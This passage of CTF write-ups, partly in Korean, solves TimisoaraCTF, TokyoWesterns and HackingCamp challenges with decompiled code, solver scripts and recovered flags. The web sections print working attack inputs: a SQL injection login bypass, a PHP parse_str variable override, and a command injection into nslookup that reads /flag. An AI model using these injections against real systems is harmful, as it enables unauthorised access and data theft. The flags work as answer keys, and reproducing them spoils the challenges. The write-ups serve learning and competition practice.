        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #7/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #8/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #9/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);


    // Test #10/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    return 0;
}
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/programming2$ g++ array.cpp -o array
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/programming2$ python payload.py
[+] Opening connection to 89.38.208.143 on port 22022: Done
[!] Could not find executable 'array' in $PATH, using './array' instead
[+] Starting local process './array': pid 150
I will give you N, the size of the recurrence, k, the term you need to compute and then the first N numbers with their coefficients in this order: cn * an, cn-1 * an-1...
Test #1/10:
N= 2 : K= 63501
[7, 8, 6, 4]
coefficient = [7, 6]
arr = [8, 4]
answer= 530525


OK!
Test #2/10:
N= 2 : K= 12599
[16, 18, 19, 24]
coefficient = [16, 19]
arr = [18, 24]
answer= 171579


OK!
Test #3/10:
N= 3 : K= 462548
[20, 11, 7, 37, 36, 32]
coefficient = [20, 7, 36]
arr = [11, 37, 32]
answer= 231605

.
.
.
.
.
.
.
.
.
.
.

OK!
Test #9/10:
N= 4 : K= 10031110
[96, 87, 85, 123, 24, 109, 23, 65]
coefficient = [96, 85, 24, 23]
arr = [87, 123, 109, 65]
answer= 156974


OK!
Test #10/10:
N= 4 : K= 14138374
[6, 116, 11, 5, 50, 32, 19, 63]
coefficient = [6, 11, 50, 19]
arr = [116, 5, 32, 63]
answer= 381958


[*] Switching to interactive mode
OK!
TIMCTF{Matrix_multiplication_OP_please_n3rf}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './array' stopped with exit code 0 (pid 150)
[*] Closed connection to 89.38.208.143 port 22022

FLAG : FLAG : TIMCTF{Matrix_multiplication_OP_please_n3rf}


Reverse Engineering

Baby Rev (50pts)

This program asks me for the flag, but i don’t know it!

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax

  printf("Enter password: ", argv, envp);
  fgets(password, 64, _bss_start);
  while ( 1 )
  {
    v3 = strlen(password);
    if ( isprint(password[v3 - 1]) )
      break;
    password[strlen(password) - 1] = 0;
  }
  if ( !strcmp(password, flag) )
    puts("Congratulations, that is correct!");
  else
    puts("NOOOOOOOOOOOOOOOO");
  return 0;
}

just check input with flag. string stored in flag is TIMCTF{Wh0_know5_a5m_kn0ws_R3V}

FLAG : TIMCTF{Wh0_know5_a5m_kn0ws_R3V}


Easy Rev (75pts) 

Like the last one, but harder

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-14h]

  printf("Enter password: ", argv, envp);
  scanf("%s", password);
  if ( strlen(password) <= 0x40 )
  {
    if ( strlen(password) > 7 )
    {
      for ( i = 0; i < strlen(password); ++i )
      {
        if ( password[i] > 96 && password[i] <= 122 )
          password[i] = (password[i] - 84) % 26 + 97;
      }
      if ( !strcmp(password, flag) )
        puts("Congratulations, that is correct!");
      else
        puts("NOOOOOOOOOOOOOOOO");
      result = 0;
    }
    else
    {
      puts("Error: password too short!");
      result = 0;
    }
  }
  else
  {
    puts("Error: password too long!");
    result = 0;
  }
  return result;
}

this challenge check the password. bruteforce brought us the right price.

flag = ''
table = 'TIMCTF{ebgngrq13synt}'
for i in range(len(table)):
	if ord(table[i]) > 96 and ord(table[i]) <= 122:
		for j in range(96,123):
			if ord(table[i]) == (j - 84) % 26 + 97:
				flag += chr(j)
				break
	else:
		flag += table[i]
print flag

FLAG : TIMCTF{rotated13flag}


Boz Packer (150pts)

This executable is packed using the new and imporved BOZ technology. It features strong antidebug checks

Required library: openssl - http://timisoaractf.ro/libcrypto-1_1-x64.dll

patch and find “Enter password: “ string

decrypt all values stored in md5.

FLAG : TIMCTF{BOZ_as_s33n_in_ecsc_upx_chall}


Math (150pts)

This executable is doing MATH. Everyone hates that so it must be hard to reverse

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  unsigned __int8 v4; // [rsp+2h] [rbp-2Eh]
  char v5; // [rsp+3h] [rbp-2Dh]
  int v6; // [rsp+4h] [rbp-2Ch]
  int v7; // [rsp+8h] [rbp-28h]
  int i; // [rsp+Ch] [rbp-24h]
  signed int j; // [rsp+10h] [rbp-20h]
  signed int k; // [rsp+14h] [rbp-1Ch]
  signed int l; // [rsp+18h] [rbp-18h]
  int m; // [rsp+1Ch] [rbp-14h]

  printf("Enter password: ", argv, envp);
  scanf("%s", plaintext);
  if ( strlen(plaintext) <= 0x100 )
  {
    v7 = 0;
    v5 = 0;
    for ( i = 0; i < strlen(plaintext); i += 3 )
    {
      v6 = key ^ (plaintext[i + 2] | ((plaintext[i + 1] | (plaintext[i] << 8)) << 8));
      for ( j = 0; j <= 2; ++j )
      {
        if ( !plaintext[i + j] )
          v5 = 1;
      }
      for ( k = 3; k >= 0; --k )
      {
        v4 = 0;
        for ( l = 5; l >= 0; --l )
        {
          if ( v6 & (1 << (6 * k + l)) )
            v4 |= 1 << l;
        }
        if ( v4 )
        {
          ciphertext[v7] = base64[v4];
        }
        else if ( v5 )
        {
          ciphertext[v7] = 61;
        }
        else
        {
          ciphertext[v7] = 65;
        }
        ++v7;
      }
    }
    for ( m = 0; flag[m]; ++m )
    {
      if ( flag[m] != ciphertext[m] )
      {
        puts(no);
        return 0;
      }
    }
    puts(yes);
    result = 0;
  }
  else
  {
    puts("Error: password too long!");
    result = 0;
  }
  return result;
}

do reverse math

import base64
import struct

cip = "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcbX7MPv"
cip = base64.b64decode(cip)
key = 14335727
flag = ''
for i in range(0,len(cip),3):
	a = struct.unpack('<i',cip[i:i+3][::-1] + "\x00")[0] ^ key
	flag += hex(a)[2:].decode('hex')
print flag

i did Bruteforce attack three digits. I guess first word.

# TIMCTF{I_s33_you_UnDeRsTaNd_x86}
import gdb
table = "_1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz}"
go_table = []
for n in table:
		for m in table:
			for b in table:
				go_table.append(n+m)

payload = 'TIMCTF{I_' # 3byte
for i in range(len(go_table)):
	gdb.execute('file math',to_string=True)
	gdb.execute('b*main+561',to_string=True) # 0x55555555494b
	gdb.execute('r <<< ' + '"' + payload + go_table[i] + '"',to_string=True)
	d = gdb.execute('x/s $rax',to_string=True).split(' ')[1].replace('\n','').replace('"','').replace('<ciphertext>:\t','')
	print(payload + go_table[i] + " : " + d)
	if d == "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcb":
		print('FLAG' + ' : ' + payload + go_table[i])
		break
gdb.execute('q',to_string=True)

FLAG : TIMCTF{I_s33_you_UnDeRsTaNd_x86}


Pipes (200pts)

Description : Someone said this program likes to smoke. Alot. See what’s inside

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  bool v4; // al
  unsigned __int8 buf; // [rsp+7h] [rbp-59h]
  int v6; // [rsp+8h] [rbp-58h]
  int j; // [rsp+Ch] [rbp-54h]
  int i; // [rsp+10h] [rbp-50h]
  __pid_t pid; // [rsp+14h] [rbp-4Ch]
  char *s1; // [rsp+18h] [rbp-48h]
  __int64 v11; // [rsp+20h] [rbp-40h]
  __int64 v12; // [rsp+28h] [rbp-38h]
  __int64 v13; // [rsp+30h] [rbp-30h]
  __int64 v14; // [rsp+38h] [rbp-28h]
  __int64 v15; // [rsp+40h] [rbp-20h]
  __int16 v16; // [rsp+48h] [rbp-18h]
  unsigned __int64 v17; // [rsp+58h] [rbp-8h]

  v17 = __readfsqword(0x28u);
  v11 = 7142820555239287888LL;
  v12 = 8462115404900429676LL;
  v13 = 7451053173976080498LL;
  v14 = 7953753264878285413LL;
  v15 = 2387226065748172907LL;
  v16 = 10;
  if ( ptrace(0, 0LL, 1LL, 0LL) == -1 )
  {
    std::operator<<<std::char_traits<char>>(&_bss_start, &v11);
    result = 255;
  }
  else
  {
    std::operator<<<std::char_traits<char>>(&_bss_start, "Enter password: \n");
    std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &input);
    if ( pipe(pipe_1) == -1 )
    {
      std::operator<<<std::char_traits<char>>(&_bss_start, "Failed creating pipe!\n");
      result = 0;
    }
    else if ( pipe(pipe_2) == -1 )
    {
      std::operator<<<std::char_traits<char>>(&_bss_start, "Failed creating pipe!\n");
      result = 0;
    }
    else
    {
      pid = fork();
      if ( pid == -1 )
      {
        std::operator<<<std::char_traits<char>>(&_bss_start, "Fork failed!\n");
        result = 0;
      }
      else if ( pid )
      {
        s1 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&input);
        v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(&input) != 48
          || strncmp(s1, "TIMCTF{", 7uLL)
          || s1[47] != 125;
        if ( v4 )
        {
          std::operator<<<std::char_traits<char>>(&_bss_start, "NOOOOOOOOOOO\n");
          result = 0;
        }
        else
        {
          for ( i = 7; i <= 46; ++i )
          {
            write(dword_202324, &s1[i], 1uLL);
            if ( read(pipe_2[0], &v6, 4uLL) <= 0 )
            {
              std::operator<<<std::char_traits<char>>(&_bss_start, "P: Read failed!\n");
              return 0;
            }
            if ( flag[i - 7] != v6 )
            {
              std::operator<<<std::char_traits<char>>(&_bss_start, "NOOOOOOOOOOO\n");
              return 0;
            }
          }
          std::operator<<<std::char_traits<char>>(&_bss_start, "Yay, you got the flag!\n");
          close(pipe_1[0]);
          close(dword_202324);
          close(pipe_2[0]);
          close(fd);
          waitpid(pid, 0LL, 1);
          result = 0;
        }
      }
      else
      {
        for ( j = 0; j <= 39; ++j )
        {
          buf = 0;
          if ( read(pipe_1[0], &buf, 1uLL) <= 0 )
          {
            std::operator<<<std::char_traits<char>>(&_bss_start, "C: Read failed!\n");
            return 0;
          }
          buf += 96;
          rol(&buf, 2);
          buf ^= 0x7Fu;
          buf = ~buf;
          v6 = 237 * buf;
          write(fd, &v6, 4uLL);
        }
        result = 0;
      }
    }
  }
  return result;
}

compare the flag characters

lea     rax, flag
mov     edx, [rdx+rax]
mov     eax, [rbp+compare]
cmp     edx, eax
flag = [0x000035B2, 0x0000B39A, 0x000074A6, 0x0000AD1F, 
0x0000BEB6, 0x0000BEB6, 0x00008817, 0x000074A6, 
0x00008F7F, 0x0000B0D3, 0x0000BBEF, 0x000074A6, 
0x0000B487, 0x00009A9B, 0x00003D1A, 0x00008BCB, 
0x000074A6, 0x00009A9B, 0x00008F7F, 0x000074A6, 
0x0000C357, 0x000096E7, 0x00008BCB, 0x0000BBEF,
0x00008BCB, 0x000074A6, 0x00009A9B, 0x0000BFA3, 
0x000074A6, 0x000035B2, 0x0000B39A, 0x000074A6, 
0x0000B487, 0x0000232E, 0x0000B487, 0x0000145E, 
0x0000CE73, 0x0000145E, 0x00008BCB, 0x000010AA]

set 48 characters with TIMCTF{…}

I brought the rax value before comparing it with the flag. and bring each letter.

FLAG : TIMCTF{N0_n33d_for_piPe_if_there_is_N0_pIpEwEeD}


Strange jump (250pts)

This application likes to jump!

I found actual_decrypt function!

unsigned __int64 actual_decrypt(void)
{
  size_t v0; // rax
  size_t v1; // rbx
  unsigned __int8 v3; // [rsp+Ah] [rbp-216h]
  char v4; // [rsp+Bh] [rbp-215h]
  int v5; // [rsp+Ch] [rbp-214h]
  int v6; // [rsp+10h] [rbp-210h]
  signed int i; // [rsp+14h] [rbp-20Ch]
  signed int j; // [rsp+18h] [rbp-208h]
  signed int k; // [rsp+1Ch] [rbp-204h]
  signed int l; // [rsp+20h] [rbp-200h]
  int m; // [rsp+24h] [rbp-1FCh]
  char v12[8]; // [rsp+30h] [rbp-1F0h]
  char v13[8]; // [rsp+50h] [rbp-1D0h]
  char v14[8]; // [rsp+70h] [rbp-1B0h]
  __int64 v15; // [rsp+B0h] [rbp-170h]
  __int64 v16; // [rsp+B8h] [rbp-168h]
  __int64 v17; // [rsp+C0h] [rbp-160h]
  __int64 v18; // [rsp+C8h] [rbp-158h]
  __int64 v19; // [rsp+D0h] [rbp-150h]
  __int64 v20; // [rsp+D8h] [rbp-148h]
  __int64 v21; // [rsp+E0h] [rbp-140h]
  __int64 v22; // [rsp+E8h] [rbp-138h]
  char v23; // [rsp+F0h] [rbp-130h]
  char v24[264]; // [rsp+100h] [rbp-120h]
  unsigned __int64 v25; // [rsp+208h] [rbp-18h]

  v25 = __readfsqword(0x28u);
  memset(v24, 0, 0x100uLL);
  while ( 1 )
  {
    v0 = strlen(byte_203302);
    if ( isprint(byte_203302[v0 - 1]) )
      break;
    byte_203302[strlen(byte_203302) - 1] = 0;
  }
  strcpy(v14, "VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9");
  v15 = 'HGFEDCBA';
  v16 = 'PONMLKJI';
  v17 = 'XWVUTSRQ';
  v18 = 'fedcbaZY';
  v19 = 'nmlkjihg';
  v20 = 'vutsrqpo';
  v21 = '3210zyxw';
  v22 = '/+987654';
  v23 = 0;
  strcpy(v12, "NOOOOOOOOOOOOOOOOOO\n");
  strcpy(v13, "Yay, you got the flag!\n");
  v6 = 0;
  v4 = 0;
  for ( i = 0; i < strlen(byte_203302); i += 3 )
  {
    v5 = byte_203302[i + 2] | ((byte_203302[i + 1] | (byte_203302[i] << 8)) << 8);
    for ( j = 0; j <= 2; ++j )
    {
      if ( !byte_203302[i + j] )
        v4 = 1;
    }
    for ( k = 3; k >= 0; --k )
    {
      v3 = 0;
      for ( l = 5; l >= 0; --l )
      {
        if ( v5 & (1 << (6 * k + l)) )
          v3 |= 1 << l;
      }
      if ( v3 )
      {
        v24[v6] = *(&v15 + v3);
      }
      else if ( v4 )
      {
        v24[v6] = 61;
      }
      else
      {
        v24[v6] = 65;
      }
      ++v6;
    }
  }
  v1 = strlen(v14);
  if ( v1 == strlen(v24) )
  {
    for ( m = 0; ; ++m )
    {
      if ( !v14[m] )
      {
        puts(v13);
        exit(0);
      }
      if ( v14[m] != v24[m] )
        break;
    }
    puts(v12);
  }
  else
  {
    puts(v12);
  }
  return __readfsqword(0x28u) ^ v25;
}

This function do base64 calculation.

Put the VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9 in v14.

just base64 decode VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9.

>>> import base64
>>> base64.b64decode('VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9')
'TIMCTF{deC3pt1ve_ExceP0ti0n_h4ndLer}'

FLAG : TIMCTF{deC3pt1ve_ExceP0ti0n_h4ndLer}


Web

Not so empty website (50pts)

This website looks empty, but trust me, it is not!

http://89.38.208.143:20001/

  • We can see web site link.
  • Check the html code, and we can see flag.
<!DOCTYPE html>
<html>
<head>
	<title>NO FLAG</title>
</head>
<body>
    <div style="margin-top:100px"><a style="font-family: San Francisco;font-size: 54px;line-height: 41px;color: #000000;">I KNOW YOU WANT A FLAG BUT I DON'T HAVE ANY!</a></div>
    <!--Or I do: TIMCTF{D0_not_b3_superfic1al}-->
</body>

FLAG : TIMCTF{D0_not_b3_superfic1al}


Secret key of swag (150pts)

Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?

http://89.38.208.143:20002/

This is a reupload as yesterday an unintended solution was found

index.php 99b9fd6c5262ab6762059d333ced10eb

in index.php

<?php

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'login') {
    if (!empty($res['key'])) {
        $key = $res['key'];
    }

    if (!empty($key)) {
        $processed_key = strtoupper($key);
    }
    if (!empty($processed_key) && $processed_key === 'hax0r') {
        echo file_get_contents( "flag.txt" );
    }
    else {
        echo 'Sorry, you don\'t have enough swag to enter';
    }
}

?>
  • We can use parse_str() function to control $processed_key varriable.

http://89.38.208.143:20002/?action=login&processed_key=hax0r

Please inspect element, your flag is there<?php
//TIMCTF{Welcome_M4N_of_SW4G}, I have been expecting you!
?>

FLAG : TIMCTF{Welcome_M4N_of_SW4G}


Admin panel (200pts)

Your job is to hack this admin panel and login.

http://89.38.208.143:20003/

  • Input asdf@asdf.com in Email
  • Input ' or 1=1;# in Password

FLAG : TIMCTF{SqL_1nj3ct1on_1s_b4ck_1n_town}

2019 TokyoWesterns CTF 5th Easy Crack Me

Reverse Warmup 문제로 나온 문제다.

main 코드를 보면 연산하고 memcmp로 비교한다. 분기들을 다 만족 시켜주면 된다.

if ( a1 == 2 )
  {
    s = a2[1];
    if ( strlen(a2[1]) != 39 )
    {
      puts("incorrect");
      exit(0);
    }
    if ( memcmp(s, "TWCTF{", 6uLL) || s[38] != 125 )
    {
      puts("incorrect");
      exit(0);
    }
  • 우선 argv로 입력받은 값은 39글자인지 비교한다.
  • 입력 받은 값이 TWCTF{ 로 시작하고 뒤에 } 붙여야한다.


		s1 = 0LL;
    v38 = 0LL;
    v39 = 0LL;
    v40 = 0LL;
    v41 = 0LL;
    v42 = 0LL;
    v43 = 0LL;
    v44 = 0LL;
    v46 = 3978425819141910832LL;
    v47 = 7378413942531504440LL;
    for ( i = 0; i <= 15; ++i )
    {
      for ( j = strchr(s, *(&v46 + i)); j; j = strchr(j + 1, *(&v46 + i)) )
        ++*(&s1 + i);
    }
    if ( memcmp(&s1, &unk_400F00, 0x40uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • { }사이는 “0123456789abcdef” 만 들어간다. 16진수 값만 들어간다고 한다. 각각 개수는 3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3 를 만족해야한다.


for ( k = 0; k <= 7; ++k )
    {
      v10 = 0;
      v11 = 0;
      for ( l = 0; l <= 3; ++l )
      {
        v5 = s[4 * k + 6 + l];
        v10 += v5;
        v11 ^= v5;
      }
      *(&v21 + k) = v10;
      *(&v25 + k) = v11;
    }

if ( memcmp(&v21, &unk_400F40, 0x20uLL) || memcmp(&v25, &unk_400F60, 0x20uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • s[4 * k + 6 + l] 값들을 xor 연산과 덧셈연산 한 값들이 테이블 값들이 같도록 해야한다.


for ( m = 0; m <= 7; ++m )
    {
      v14 = 0;
      v15 = 0;
      for ( n = 0; n <= 3; ++n )
      {
        v6 = s[8 * n + 6 + m];
        v14 += v6;
        v15 ^= v6;
      }
      *(&v29 + m) = v14;
      *(&v33 + m) = v15;
    }

if ( memcmp(&v29, &unk_400FA0, 0x20uLL) || memcmp(&v33, &unk_400F80, 0x20uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • s[8 * n + 6 + m] 값들을 xor 연산과 덧셈연산 한 값들이 테이블 값들이 같도록 해야한다.


for ( ii = 0; ii <= 31; ++ii )
    {
      v7 = s[ii + 6];
      if ( v7 <= 47 || v7 > 57 )
      {
        if ( v7 <= 96 || v7 > 102 )
          v45[ii] = 0;
        else
          v45[ii] = 128;
      }
      else
      {
        v45[ii] = 255;
      }
    }
    if ( memcmp(v45, &unk_400FC0, 0x80uLL) )
    {
      puts("incorrect");
      exit(0);
    }
  • 이곳은 s의 문자열 범위 지정해준다.


v18 = 0;
    for ( jj = 0; jj <= 15; ++jj )
      v18 += s[2 * (jj + 3)];
    if ( v18 != 1160 )
    {
      puts("incorrect");
      exit(0);
    }
  • s[2 * (jj + 3)]의 값들의 합이 1160이면 된다.


if ( s[37] != 53 || s[7] != 102 || s[11] != 56 || s[12] != 55 || s[23] != 50 || s[31] != 52 )
    {
      puts("incorrect");
      exit(0);
    }
  • 각각 인덱스의 값을 만족시키면 된다.


from z3 import * 

s = Solver()

a1 = [BitVec('a%i'%i,8) for i in range(39)]

s.add(a1[0] == ord('T'))
s.add(a1[1] == ord('W'))
s.add(a1[2] == ord('C'))
s.add(a1[3] == ord('T'))
s.add(a1[4] == ord('F'))
s.add(a1[5] == ord('{'))
s.add(a1[38] == ord('}'))
s.add(a1[37] == 53 , a1[7] == 102 , a1[11] == 56 , a1[12] == 55 , a1[23] == 50 , a1[31] == 52)

v45 = [0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x61,0x62,0x63,0x64,0x65,0x66]
# 0 1 2 3 4 5 6 7 8 9 a b c d e f 
tb1 = [3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3]
tb2 = [0x015E, 0x00DA, 0x012F, 0x0131, 0x0100, 0x0131, 0x00FB, 0x0102]
tb3 = [82, 12, 1, 15, 92, 5, 83, 88]
tb4 = [1, 87, 7, 13, 13, 83, 81, 81]
tb5 = [0x0129, 0x0103, 0x012B, 0x0131, 0x0135, 0x010B, 0x00FF, 0x00FF]
tb6 = [128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255]

for k in range(8):
	v10 = 0
	v11 = 0
	for l in range(4):
		v5 = a1[4 * k + 6 + l]
		v10 += v5
		v11 ^= v5
	s.add(tb2[k] == v10)
	s.add(tb3[k] == v11)

for m in range(8):
	v14 = 0
	v15 = 0
	for n in range(4):
		v6 = a1[8 * n + 6 + m]
		v14 += v6
		v15 ^= v6
	s.add(tb5[m] == v14)
	s.add(tb4[m] == v15)


v18 = 0
for jj in range(16):
	v18 += a1[2 * (jj + 3)]
s.add(v18 == 1160)

for i in range(32):
    if(tb6[i]==128):
        s.add(a1[i+6]>=97)
        s.add(a1[i+6]<=102)
    else:
        s.add(a1[i+6]>=48)
        s.add(a1[i+6]<=57)


for i,ch in enumerate("0123456789abcdef"):
	cnt = 0
	for x in a1:
		cnt += If(x == ord(ch),1,0)
	s.add(cnt == tb1[i])
if s.check() == sat:
	m = s.model()
	print ''.join(chr(int(str(m.evaluate(a1[i]))))for i in range(39))

FLAG : TWCTF{df2b4877e71bd91c02f8ef6004b584a5}

2019 20th Hackingcamp CTF Writeup

Web Hacking

js

jsfuck으로 되어있는데 jsfuck만 긁어서decrypt 해주면 된다.

function anonymous(
) {
['HCAMP{0jSeasy0}',''][0x1];
}

FLAG : HCAMP{0jSeasy0}


command injection

$ nslookup “ “ 이렇게 주는데 “ “사이에 커맨드 인젝션 해주면 된다. 이 사이에 `` 넣어주고 그 사이에 /cat flag 넣어주면 된다.

$ nslookup "`cat /flag`"
Server:		127.0.0.11
Address:	127.0.0.11#53

** server can't find HCAMP{camsfsodfasjfai}: NXDOMAIN

FLAG : HCAMP{camsfsodfasjfai}


Reversing

Eeeeasy Reversing

flag.enc 파일이 주어진다. flag.txt에서 값을 긁어와서 어떠한 연산을 거쳐서 마지막에 enc 파일에 써준다.

__int64 sub_402D30()
{
  __time64_t v0; // rax
  FILE *v1; // rbx
  FILE *v2; // r13
  size_t v3; // r12
  char *v4; // rbp
  char *v5; // rbx
  char v6; // si

  sub_401610();
  v0 = time64(0i64);
  srand(v0 >> 15);
  v1 = fopen("flag.txt", "rb");
  v2 = fopen("flag.enc", "wb");
  fseek(v1, 0, 2);
  v3 = (unsigned int)ftell(v1);
  v4 = (char *)calloc(v3, 1ui64);
  fseek(v1, 0, 0);
  fread(v4, 1ui64, v3, v1);
  fclose(v1);
  if ( (_DWORD)v3 )
  {
    v5 = v4;
    do
    {
      *v5 += rand();
      v6 = rand();
      *v5 ^= rand() ^ v6;
      ++v5;
    }
    while ( v5 != &v4[(unsigned int)(v3 - 1) + 1] );
  }
  fwrite(v4, 1ui64, v3, v2);
  return 0i64;
}

srand는 enc 파일이 인코딩된 시간을 구해서 15만큼 쉬프트 연산해주면 된다. 그리고 srand값만 구하면 역연산 해주면 된다. 음수가 나오는 것들도 있어서 예외처리로 바꿔주었다.

from ctypes import *

table = [244, 206, 31, 39, 232, 186, 217, 217, 59, 43, 27, 168, 120, 116, 106, 47, 118, 66, 139, 22, 48, 48, 91, 174, 203, 243, 9, 64, 64, 23, 205, 22, 124, 227, 112, 188, 169, 184, 245, 47, 58, 208, 228, 176]

lib = CDLL('msvcrt')
lib.srand(47799)
flag=''

for i in range(len(table)):
	rand1=lib.rand()&0xff
	rand2=lib.rand()&0xff
	rand3=lib.rand()&0xff
	try:
		flag+=chr((table[i]^rand3^rand2)-rand1)
	except:
		flag += chr(255+(table[i]^rand3^rand2)-rand1 +1)
		pass
print(flag)

FLAG : HCAMP{Supper_Zzang_Zzang_Easy_Rever$ing!!@@}


Split Split Split

파일이 여러개로 나뉘어져있다. 이 파일들을 순서대로 다 합치면 Mach-O 64-bit executable x86_64 파일이 나온다.

import binascii

bin = ""
for i in range(5):
	f = open('00'+str(i)+'.bin','rb')
	data = f.read()
	f.close()
	bin += binascii.hexlify(data)
bin = binascii.unhexlify(bin)
f = open('split_file','wb')
f.write(bin)
f.close()

이제 이 Mach-O 바이너리를 열어보면 아래와 같은 코드가 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [rsp+18h] [rbp-78h]
  char v5[104]; // [rsp+20h] [rbp-70h]
  __int64 v6; // [rsp+88h] [rbp-8h]

  memcpy(v5, "XSQ]@kC@\\YDOTQDQOCESSUCCm", 0x64uLL);
  v4 = 0;
  puts("Let's go Decrypt!");
  while ( v4 < strlen(v5) )
  {
    v5[v4] ^= 0x10u;
    ++v4;
  }
  result = printf("\n", "XSQ]@kC@\\YDOTQDQOCESSUCCm");
  if ( __stack_chk_guard == v6 )
    result = 0;
  return result;
}

이런식으로 돼있는데 그냥 역연산 해주면 풀린다.

enc = "XSQ]@kC@\\YDOTQDQOCESSUCCm"
print bytearray(i^0x10 for i in bytearray(enc))

FLAG : HCAMP{SPLIT_DATA_SUCCESS}


M0000V

아마도 movfuscator 로 컴파일된 바이너리 같다. 근데 demovfuscator를 사용하려고 했는데 capstone이 자꾸 오류나서 그냥 브루트포스 돌리고 게싱해서 풀었다.

근데 다른 분이 stace를 이용해서 풀었길래 똑같이 풀어보았다.

for i in a b c d e f g h i j k l m o p q r s t u v w x y j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 @ ! ; do echo -n $i\ ; echo 'HCAMP{'$i | strace ./movisfun 2>&1 | grep SIG  | wc -l;done

이런식으로 스크립트를 실행시키면 표준출력해주고 strace로 시스템콜 가져와서 HCAMP{ 뒤에 올 문자를 보여준다. 그러면 일일이 하나씩 대입해 시스템콜을 추적하면 알맞은 플래그를 찾을 수 있다.

FLAG : HCAMP{M000oo00v_1s_1nterestin9}


SimpleREV

메인을 보면 어떠한 함수에 인자 값들을 넣고 그 함수의 리턴값에 따라 Correct!를 출력해준다.

int sub_402000()
{
  dword_404384 = 255;
  dword_404380 = 1;
  puts("Welcome HACKING CAMP");
  puts("THIS IS REAL PROTECTOR");
  puts("But, when you more think you will solve it");
  puts("Welcome HACKING CAMP");
  puts("=========Access only Admin===========");
  dword_404388 = 30;
  if ( (unsigned __int8)sub_405000(dword_40437C, dword_404380, dword_404384, 30) )
    puts("Correct!");
  return 0;
}
char __usercall sub_405000@<al>(char a1@<dil>, int a2, int a3, int a4, int a5)
{
  unsigned int v5; // eax
  int v6; // esi
  unsigned int v7; // edx
  int v8; // eax
  char v10; // [esp-4h] [ebp-3Ch]
  int v11; // [esp+Ch] [ebp-2Ch]
  int v12; // [esp+10h] [ebp-28h]
  __int128 v13; // [esp+14h] [ebp-24h]
  __int64 v14; // [esp+24h] [ebp-14h]
  int v15; // [esp+2Ch] [ebp-Ch]
  __int16 v16; // [esp+30h] [ebp-8h]
  char v17; // [esp+32h] [ebp-6h]
  int retaddr; // [esp+3Ch] [ebp+4h]

  v12 = 0;
  v13 = 0i64;
  v15 = 0;
  v14 = 0i64;
  v16 = 0;
  v17 = 0;
  sub_401020(">> ", a1);
  sub_401050("%d", (unsigned int)&v12);
  v5 = time64(0);
  srand(v5);
  retaddr = rand();
  if ( v12 == 78 && a4 == 1 )
  {
    v6 = 0;
    sub_401020(">> ", v10);
